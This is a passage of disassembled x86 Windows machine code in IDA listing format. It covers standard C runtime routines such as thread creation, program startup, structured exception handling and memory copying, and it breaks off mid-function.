loc_4103FE: ; CODE XREF: .vty:loc_4104B9p
push 0Ch
push offset dword_41F900
call __SEH_prolog4
call sub_411FFD
and dword ptr [ebp-4], 0
push dword ptr [eax+58h]
call dword ptr [eax+54h]
push eax
call sub_4103C5
mov eax, [ebp-14h]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp-1Ch], ecx
push eax
push ecx
call sub_41530F
pop ecx
pop ecx
retn
sub_4103C5 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
push dword ptr [ebp-1Ch]
call sub_412726
int 3 ; Trap to Debugger
loc_41043F: ; DATA XREF: sub_4104BF+74o
push esi
call sub_411E46
call sub_411E40
push eax
call sub_411E2B
test eax, eax
jnz short loc_41047F
mov esi, [esp+8]
push esi
call sub_411E40
push eax
call sub_411E70
test eax, eax
jnz short loc_410475
call dword_41C0A4 ; RtlGetLastWin32Error
push eax
call dword_41C11C ; ExitThread
loc_410475: ; CODE XREF: .vty:00410466j
call dword_41C120 ; GetCurrentThreadId
mov [esi], eax
jmp short loc_41049B
; ---------------------------------------------------------------------------
loc_41047F: ; CODE XREF: .vty:00410452j
mov ecx, [esp+8]
mov edx, [ecx+54h]
mov [eax+54h], edx
mov edx, [ecx+58h]
mov [eax+58h], edx
mov edx, [ecx+4]
push ecx
mov [eax+4], edx
call sub_412015
loc_41049B: ; CODE XREF: .vty:0041047Dj
cmp dword_426030, 0
jz short loc_4104B9
push offset dword_426030
call sub_4152A2
test eax, eax
pop ecx
jz short loc_4104B9
call dword_426030
loc_4104B9: ; CODE XREF: .vty:004104A2j
; .vty:004104B1j
call loc_4103FE
int 3 ; Trap to Debugger
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4104BF proc near ; CODE XREF: sub_4033DA+CCp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov edi, [ebp+arg_8]
xor ebx, ebx
cmp edi, ebx
mov [ebp+var_4], ebx
jnz short loc_4104ED
call sub_40F79E
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword ptr [eax], 16h
call sub_40DCD8
add esp, 14h
xor eax, eax
jmp short loc_410569
; ---------------------------------------------------------------------------
loc_4104ED: ; CODE XREF: sub_4104BF+10j
push esi
call sub_411E46
push 214h
push 1
call sub_412363
mov esi, eax
cmp esi, ebx
pop ecx
pop ecx
jz short loc_410551
call sub_411FFD
push dword ptr [eax+6Ch]
push esi
call sub_411EC6
mov eax, [ebp+arg_C]
or dword ptr [esi+4], 0FFFFFFFFh
mov [esi+58h], eax
mov eax, [ebp+arg_14]
cmp eax, ebx
pop ecx
pop ecx
mov [esi+54h], edi
jnz short loc_41052E
lea eax, [ebp+arg_8]
loc_41052E: ; CODE XREF: sub_4104BF+6Aj
push eax
push [ebp+arg_10]
push esi
push offset loc_41043F
push [ebp+arg_4]
push [ebp+arg_0]
call dword_41C124 ; CreateThread
cmp eax, ebx
jnz short loc_410568
call dword_41C0A4 ; RtlGetLastWin32Error
mov [ebp+var_4], eax
loc_410551: ; CODE XREF: sub_4104BF+46j
push esi
call sub_41112C
cmp [ebp+var_4], ebx
pop ecx
jz short loc_410566
push [ebp+var_4]
call sub_40F7C4
pop ecx
loc_410566: ; CODE XREF: sub_4104BF+9Cj
xor eax, eax
loc_410568: ; CODE XREF: sub_4104BF+87j
pop esi
loc_410569: ; CODE XREF: sub_4104BF+2Cj
pop edi
pop ebx
leave
retn
sub_4104BF endp
; =============== S U B R O U T I N E =======================================
sub_41056D proc near ; CODE XREF: sub_4107B2-1A0p
; sub_4107B2-103p ...
arg_0 = dword ptr 4
cmp dword_42439C, 1
jnz short loc_41057B
call sub_4143CC
loc_41057B: ; CODE XREF: sub_41056D+7j
push [esp+arg_0]
call sub_41422C
push 0FFh
call sub_4124E3
pop ecx
pop ecx
retn
sub_41056D endp
; =============== S U B R O U T I N E =======================================
sub_410591 proc near ; CODE XREF: sub_4107B2-11Bp
cmp word ptr ds:400000h, 5A4Dh
jnz short loc_4105CF
mov eax, ds:40003Ch
cmp dword ptr [eax+400000h], 4550h
jnz short loc_4105CF
cmp word ptr [eax+400018h], 10Bh
jnz short loc_4105CF
cmp dword ptr [eax+400074h], 0Eh
jbe short loc_4105CF
xor ecx, ecx
cmp [eax+4000E8h], ecx
setnz cl
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_4105CF: ; CODE XREF: sub_410591+9j
; sub_410591+1Aj ...
xor eax, eax
retn
sub_410591 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4107B2
loc_4105D2: ; CODE XREF: sub_4107B2+5j
push 60h
push offset dword_41F920
call __SEH_prolog4
and dword ptr [ebp-4], 0
lea eax, [ebp-70h]
push eax
call dword_41C0A0 ; GetStartupInfoA
mov dword ptr [ebp-4], 0FFFFFFFEh
mov edi, 94h
push edi
push 0
mov ebx, dword_41C134
call ebx ; GetProcessHeap
push eax
call dword_41C130 ; RtlAllocateHeap
mov esi, eax
test esi, esi
jnz short loc_41061D
push 12h
call sub_41056D
pop ecx
jmp loc_4107A7
; ---------------------------------------------------------------------------
loc_41061D: ; CODE XREF: sub_4107B2-1A4j
mov [esi], edi
push esi
call dword_41C0D0 ; GetVersionExA
push esi
push 0
test eax, eax
jnz short loc_41063B
call ebx ; GetProcessHeap
push eax
call dword_41C12C ; RtlFreeHeap
jmp loc_4107A7
; ---------------------------------------------------------------------------
loc_41063B: ; CODE XREF: sub_4107B2-187j
mov eax, [esi+10h]
mov [ebp-20h], eax
mov eax, [esi+4]
mov [ebp-24h], eax
mov eax, [esi+8]
mov [ebp-28h], eax
mov edi, [esi+0Ch]
and edi, 7FFFh
call ebx ; GetProcessHeap
push eax
call dword_41C12C ; RtlFreeHeap
mov esi, [ebp-20h]
cmp esi, 2
jz short loc_41066D
or edi, 8000h
loc_41066D: ; CODE XREF: sub_4107B2-14Dj
mov ecx, [ebp-24h]
mov eax, ecx
shl eax, 8
mov edx, [ebp-28h]
add eax, edx
mov dword_4243B8, esi
mov dword_4243C0, eax
mov dword_4243C4, ecx
mov dword_4243C8, edx
mov dword_4243BC, edi
call sub_410591
mov [ebp-20h], eax
xor ebx, ebx
inc ebx
push ebx
call sub_415C1F
pop ecx
test eax, eax
jnz short loc_4106B5
push 1Ch
call sub_41056D
pop ecx
loc_4106B5: ; CODE XREF: sub_4107B2-107j
call sub_41219F
test eax, eax
jnz short loc_4106C6
push 10h
call sub_41056D
pop ecx
loc_4106C6: ; CODE XREF: sub_4107B2-F6j
call sub_415B7C
mov [ebp-4], ebx
call sub_41593C
test eax, eax
jge short loc_4106DF
push 1Bh
call sub_412499
pop ecx
loc_4106DF: ; CODE XREF: sub_4107B2-DDj
call dword_41C128 ; GetCommandLineA
mov dword_426028, eax
call sub_415807
mov dword_424394, eax
call sub_41574E
test eax, eax
jge short loc_410705
push 8
call sub_412499
pop ecx
loc_410705: ; CODE XREF: sub_4107B2-B7j
call sub_4154DB
test eax, eax
jge short loc_410716
push 9
call sub_412499
pop ecx
loc_410716: ; CODE XREF: sub_4107B2-A6j
push ebx
call sub_4125B5
pop ecx
test eax, eax
jz short loc_410728
push eax
call sub_412499
pop ecx
loc_410728: ; CODE XREF: sub_4107B2-93j
call sub_41547E
test [ebp-44h], bl
jz short loc_410738
movzx ecx, word ptr [ebp-40h]
jmp short loc_41073B
; ---------------------------------------------------------------------------
loc_410738: ; CODE XREF: sub_4107B2-82j
push 0Ah
pop ecx
loc_41073B: ; CODE XREF: sub_4107B2-7Cj
push ecx
push eax
push 0
push 400000h
call sub_408170
mov [ebp-1Ch], eax
cmp dword ptr [ebp-20h], 0
jnz short loc_410758
push eax
call sub_412715
loc_410758: ; CODE XREF: sub_4107B2-62j
call sub_412737
jmp short loc_41078D
; END OF FUNCTION CHUNK FOR sub_4107B2
; ---------------------------------------------------------------------------
mov eax, [ebp-14h]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp-2Ch], ecx
push eax
push ecx
call sub_41530F
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
mov eax, [ebp-2Ch]
mov [ebp-1Ch], eax
cmp dword ptr [ebp-20h], 0
jnz short loc_410788
push eax
call sub_412726
loc_410788: ; CODE XREF: .vty:00410780j
call sub_412746
; START OF FUNCTION CHUNK FOR sub_4107B2
loc_41078D: ; CODE XREF: sub_4107B2-55j
mov dword ptr [ebp-4], 0FFFFFFFEh
mov eax, [ebp-1Ch]
jmp short loc_4107AC
; END OF FUNCTION CHUNK FOR sub_4107B2
; ---------------------------------------------------------------------------
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
mov dword ptr [ebp-4], 0FFFFFFFEh
; START OF FUNCTION CHUNK FOR sub_4107B2
loc_4107A7: ; CODE XREF: sub_4107B2-19Aj
; sub_4107B2-17Cj
mov eax, 0FFh
loc_4107AC: ; CODE XREF: sub_4107B2-1Bj
call __SEH_epilog4
retn
; END OF FUNCTION CHUNK FOR sub_4107B2
; =============== S U B R O U T I N E =======================================
sub_4107B2 proc near ; CODE XREF: sub_437085j
; FUNCTION CHUNK AT 004105D2 SIZE 0000018D BYTES
; FUNCTION CHUNK AT 0041078D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004107A7 SIZE 0000000B BYTES
call sub_415C79
jmp loc_4105D2
sub_4107B2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4107BC proc near ; CODE XREF: sub_4016BB+Fp
; sub_401806+44p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_41C350
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
test eax, eax
pop edi
mov [ebp+var_4], eax
pop esi
jz short loc_4107EF
test byte ptr [eax], 8
jz short loc_4107EF
mov [ebp+var_C], 1994000h
loc_4107EF: ; CODE XREF: sub_4107BC+25j
; sub_4107BC+2Aj
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
call dword_41C138 ; RaiseException
leave
retn 8
sub_4107BC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410806 proc near ; CODE XREF: sub_416498+65p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov ebp, [ebp+var_4]
mov esp, [ebx-4]
jmp eax
sub_410806 endp
; ---------------------------------------------------------------------------
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_410836 proc near ; CODE XREF: sub_415FB1+31p
; sub_416407+59p ...
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_410836 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41083D proc near ; CODE XREF: sub_4109CA+69p
; sub_416498:loc_4164C0p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov esi, large fs:0
mov [ebp+var_4], esi
mov [ebp+var_8], offset loc_410866
push 0
push [ebp+arg_4]
push [ebp+var_8]
push [ebp+arg_0]
call sub_41AE3E ; RtlUnwind
loc_410866: ; DATA XREF: sub_41083D+12o
mov eax, [ebp+arg_4]
mov eax, [eax+4]
and eax, 0FFFFFFFDh
mov ecx, [ebp+arg_4]
mov [ecx+4], eax
mov edi, large fs:0
mov ebx, [ebp+var_4]
mov [ebx], edi
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
sub_41083D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41088F proc near ; CODE XREF: .vty:0041AE81j
; .vty:0041AE9Cj ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
cld
mov [ebp+var_4], eax
xor eax, eax
push eax
push eax
push eax
push [ebp+var_4]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416964
add esp, 20h
mov [ebp+var_8], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_41088F endp
; ---------------------------------------------------------------------------
loc_4108C5: ; DATA XREF: sub_410B6F+24o
push esi
cld
mov esi, [esp+0Ch]
mov ecx, [esi+8]
xor ecx, esi
call sub_410BCD
push 0
push esi
push dword ptr [esi+14h]
push dword ptr [esi+0Ch]
push 0
push dword ptr [esp+24h]
push dword ptr [esi+10h]
push dword ptr [esp+24h]
call sub_416964
add esp, 20h
pop esi
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4108F5 proc near ; CODE XREF: sub_4109CA+81p
; sub_416504+53p
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 38h
push ebx
cmp [ebp+arg_0], 123h
jnz short loc_410917
mov eax, offset loc_41099E
mov ecx, [ebp+arg_4]
mov [ecx], eax
xor eax, eax
inc eax
jmp loc_4109C7
; ---------------------------------------------------------------------------
loc_410917: ; CODE XREF: sub_4108F5+Ej
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_4109CA
mov eax, dword_4231C4
lea ecx, [ebp+var_28]
xor eax, ecx
mov [ebp+var_20], eax
mov eax, [ebp+arg_10]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_4]
mov [ebp+var_18], eax
mov eax, [ebp+arg_14]
mov [ebp+var_14], eax
mov eax, [ebp+arg_18]
mov [ebp+var_10], eax
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_38], 1
mov eax, [ebp+arg_0]
mov [ebp+var_34], eax
mov eax, [ebp+arg_8]
mov [ebp+var_30], eax
call sub_411FFD
mov eax, [eax+80h]
mov [ebp+var_2C], eax
lea eax, [ebp+var_34]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call [ebp+var_2C]
pop ecx
pop ecx
and [ebp+var_38], 0
loc_41099E: ; DATA XREF: sub_4108F5+10o
cmp [ebp+var_4], 0
jz short loc_4109BB
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_4109C4
; ---------------------------------------------------------------------------
loc_4109BB: ; CODE XREF: sub_4108F5+ADj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_4109C4: ; CODE XREF: sub_4108F5+C4j
mov eax, [ebp+var_38]
loc_4109C7: ; CODE XREF: sub_4108F5+1Dj
pop ebx
leave
retn
sub_4108F5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4109CA proc near ; DATA XREF: sub_4108F5+26o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
cld
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
xor ecx, [ebp+arg_4]
call sub_410BCD
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
jz short loc_4109FA
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
xor eax, eax
inc eax
jmp short loc_410A64
; ---------------------------------------------------------------------------
jmp short loc_410A64
; ---------------------------------------------------------------------------
loc_4109FA: ; CODE XREF: sub_4109CA+1Dj
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+18h]
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
push [ebp+arg_0]
call sub_416964
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_410A38
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41083D
loc_410A38: ; CODE XREF: sub_4109CA+61j
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp+var_4]
push eax
push 123h
call sub_4108F5
add esp, 1Ch
mov eax, [ebp+var_4]
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp eax
; ---------------------------------------------------------------------------
xor eax, eax
inc eax
loc_410A64: ; CODE XREF: sub_4109CA+2Cj
; sub_4109CA+2Ej
pop ebx
leave
retn
sub_4109CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410A67 proc near ; CODE XREF: sub_416504+81p
; sub_4165F6+1C6p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, [edi+10h]
mov esi, [edi+0Ch]
mov [ebp+var_4], eax
mov ebx, esi
jmp short loc_410AAB
; ---------------------------------------------------------------------------
loc_410A7E: ; CODE XREF: sub_410A67+4Bj
cmp esi, 0FFFFFFFFh
jnz short loc_410A88
call sub_416A94
loc_410A88: ; CODE XREF: sub_410A67+1Aj
mov ecx, [ebp+var_4]
dec esi
mov eax, esi
imul eax, 14h
add eax, ecx
mov ecx, [ebp+arg_8]
cmp [eax+4], ecx
jge short loc_410AA0
cmp ecx, [eax+8]
jle short loc_410AA5
loc_410AA0: ; CODE XREF: sub_410A67+32j
cmp esi, 0FFFFFFFFh
jnz short loc_410AAE
loc_410AA5: ; CODE XREF: sub_410A67+37j
dec [ebp+arg_4]
mov ebx, [ebp+arg_0]
loc_410AAB: ; CODE XREF: sub_410A67+15j
mov [ebp+arg_0], esi
loc_410AAE: ; CODE XREF: sub_410A67+3Cj
cmp [ebp+arg_4], 0
jge short loc_410A7E
mov eax, [ebp+arg_C]
inc esi
mov [eax], esi
mov eax, [ebp+arg_10]
mov [eax], ebx
cmp ebx, [edi+0Ch]
ja short loc_410AC8
cmp esi, ebx
jbe short loc_410ACD
loc_410AC8: ; CODE XREF: sub_410A67+5Bj
call sub_416A94
loc_410ACD: ; CODE XREF: sub_410A67+5Fj
mov eax, esi
imul eax, 14h
add eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_410A67 endp
; =============== S U B R O U T I N E =======================================
sub_410ADA proc near ; CODE XREF: sub_4160EC+28p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov [esi], eax
call sub_411FFD
mov eax, [eax+98h]
mov [esi+4], eax
call sub_411FFD
mov [eax+98h], esi
mov eax, esi
pop esi
retn
sub_410ADA endp
; =============== S U B R O U T I N E =======================================
sub_410B02 proc near ; CODE XREF: sub_416212+60p
arg_0 = dword ptr 4
call sub_411FFD
mov eax, [eax+98h]
jmp short loc_410B1A
; ---------------------------------------------------------------------------
loc_410B0F: ; CODE XREF: sub_410B02+1Aj
mov ecx, [eax]
cmp ecx, [esp+arg_0]
jz short loc_410B20
mov eax, [eax+4]
loc_410B1A: ; CODE XREF: sub_410B02+Bj
test eax, eax
jnz short loc_410B0F
inc eax
retn
; ---------------------------------------------------------------------------
loc_410B20: ; CODE XREF: sub_410B02+13j
xor eax, eax
retn
sub_410B02 endp
; =============== S U B R O U T I N E =======================================
sub_410B23 proc near ; CODE XREF: sub_416212+9p
arg_0 = dword ptr 4
push esi
call sub_411FFD
mov esi, [esp+4+arg_0]
cmp esi, [eax+98h]
jnz short loc_410B45
call sub_411FFD
mov ecx, [esi+4]
mov [eax+98h], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_410B45: ; CODE XREF: sub_410B23+10j
call sub_411FFD
mov eax, [eax+98h]
jmp short loc_410B5B
; ---------------------------------------------------------------------------
loc_410B52: ; CODE XREF: sub_410B23+3Cj
mov ecx, [eax+4]
cmp esi, ecx
jz short loc_410B67
mov eax, ecx
loc_410B5B: ; CODE XREF: sub_410B23+2Dj
cmp dword ptr [eax+4], 0
jnz short loc_410B52
pop esi
jmp sub_416A94
; ---------------------------------------------------------------------------
loc_410B67: ; CODE XREF: sub_410B23+34j
mov ecx, [esi+4]
mov [eax+4], ecx
pop esi
retn
sub_410B23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410B6F proc near ; CODE XREF: sub_4160EC+7Fp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_4231C4
and [ebp+var_18], 0
lea ecx, [ebp+var_18]
xor eax, ecx
mov ecx, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
inc eax
mov [ebp+var_14], offset loc_4108C5
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_18], eax
lea eax, [ebp+var_18]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_416AE0
mov ecx, eax
mov eax, [ebp+var_18]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_410B6F endp
; =============== S U B R O U T I N E =======================================
sub_410BCD proc near ; CODE XREF: sub_40DBDC+EFp
; .vty:004108D0p ...
cmp ecx, dword_4231C4
jnz short loc_410BD7
rep retn
; ---------------------------------------------------------------------------
loc_410BD7: ; CODE XREF: sub_410BCD+6j
jmp sub_416B2C
sub_410BCD endp
; =============== S U B R O U T I N E =======================================
sub_410BDC proc near ; CODE XREF: sub_40D784+7p
; sub_40D7C3+7p
arg_0 = byte ptr 4
push eax
push large dword ptr fs:0
lea eax, [esp+8+arg_0]
sub esp, [esp+0Ch]
push ebx
push esi
push edi
mov [eax], ebp
mov ebp, eax
mov eax, dword_4231C4
xor eax, ebp
push eax
push dword ptr [ebp-4]
mov dword ptr [ebp-4], 0FFFFFFFFh
lea eax, [ebp-0Ch]
mov large fs:0, eax
retn
sub_410BDC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_410C0F proc near ; CODE XREF: sub_4160A3+7p
arg_0 = byte ptr 4
push eax
push large dword ptr fs:0
lea eax, [esp+8+arg_0]
sub esp, [esp+0Ch]
push ebx
push esi
push edi
mov [eax], ebp
mov ebp, eax
mov eax, dword_4231C4
xor eax, ebp
push eax
mov [ebp-10h], esp
push dword ptr [ebp-4]
mov dword ptr [ebp-4], 0FFFFFFFFh
lea eax, [ebp-0Ch]
mov large fs:0, eax
retn
sub_410C0F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410C50 proc near ; CODE XREF: sub_40D807+4Dp
; sub_416288+CBp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_410C70
cmp edi, eax
jb loc_410E14
loc_410C70: ; CODE XREF: sub_410C50+16j
cmp ecx, 100h
jb short loc_410C97
cmp dword_426008, 0
jz short loc_410C97
push edi
push esi
and edi, 0Fh
and esi, 0Fh
cmp edi, esi
pop esi
pop edi
jnz short loc_410C97
pop esi
pop edi
pop ebp
jmp sub_415143
; ---------------------------------------------------------------------------
loc_410C97: ; CODE XREF: sub_410C50+26j
; sub_410C50+2Fj ...
test edi, 3
jnz short loc_410CB4
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_410CD4
rep movsd
jmp off_410DC4[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_410CB4: ; CODE XREF: sub_410C50+4Dj
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_410CCC
and eax, 3
add ecx, eax
jmp dword ptr loc_410CD4+4[eax*4]
; ---------------------------------------------------------------------------
loc_410CCC: ; CODE XREF: sub_410C50+6Ej
jmp dword ptr loc_410DD4[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_410CD4: ; CODE XREF: sub_410C50+58j
; sub_410C50+B6j ...
jmp off_410D58[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_410CE5+3
; ---------------------------------------------------------------------------
adc al, 0Dh
inc ecx
add [eax], bh
loc_410CE5: ; DATA XREF: sub_410C50+8Co
or eax, 0D1230041h
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_410CD4
rep movsd
jmp off_410DC4[edx*4]
; ---------------------------------------------------------------------------
align 4
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_410CD4
rep movsd
jmp off_410DC4[edx*4]
; ---------------------------------------------------------------------------
align 4
and edx, ecx
mov al, [esi]
mov [edi], al
add esi, 1
shr ecx, 2
add edi, 1
cmp ecx, 8
jb short loc_410CD4
rep movsd
jmp off_410DC4[edx*4]
; ---------------------------------------------------------------------------
align 4
off_410D58 dd offset loc_410DBB ; DATA XREF: sub_410C50:loc_410CD4r
dd offset loc_410DA8
dd offset loc_410DA0
dd offset loc_410D98
dd offset loc_410D90
dd offset loc_410D88
dd offset loc_410D80
dd offset loc_410D78
; ---------------------------------------------------------------------------
loc_410D78: ; CODE XREF: sub_410C50:loc_410CD4j
; DATA XREF: sub_410C50+124o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_410D80: ; CODE XREF: sub_410C50:loc_410CD4j
; DATA XREF: sub_410C50+120o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_410D88: ; CODE XREF: sub_410C50:loc_410CD4j
; DATA XREF: sub_410C50+11Co
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_410D90: ; CODE XREF: sub_410C50:loc_410CD4j
; DATA XREF: sub_410C50+118o
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_410D98: ; CODE XREF: sub_410C50:loc_410CD4j
; DATA XREF: sub_410C50+114o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_410DA0: ; CODE XREF: sub_410C50:loc_410CD4j
; DATA XREF: sub_410C50+110o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_410DA8: ; CODE XREF: sub_410C50:loc_410CD4j
; DATA XREF: sub_410C50+10Co
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_410DBB: ; CODE XREF: sub_410C50:loc_410CD4j
; DATA XREF: sub_410C50:off_410D58o
jmp off_410DC4[edx*4]
; ---------------------------------------------------------------------------
align 4
off_410DC4 dd offset loc_410DD4 ; DATA XREF: sub_410C50+5Cr
; sub_410C50+BAr ...
dd offset loc_410DDC
dd offset loc_410DE8
dd offset loc_410DFC
; ---------------------------------------------------------------------------
loc_410DD4: ; CODE XREF: sub_410C50+5Cj
; sub_410C50+BAj ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_410DDC: ; CODE XREF: sub_410C50+5Cj
; sub_410C50+BAj ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_410DE8: ; CODE XREF: sub_410C50+5Cj
; sub_410C50+BAj ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_410DFC: ; CODE XREF: sub_410C50+5Cj
; sub_410C50+BAj ...
mov al, [esi]
mov [edi], al
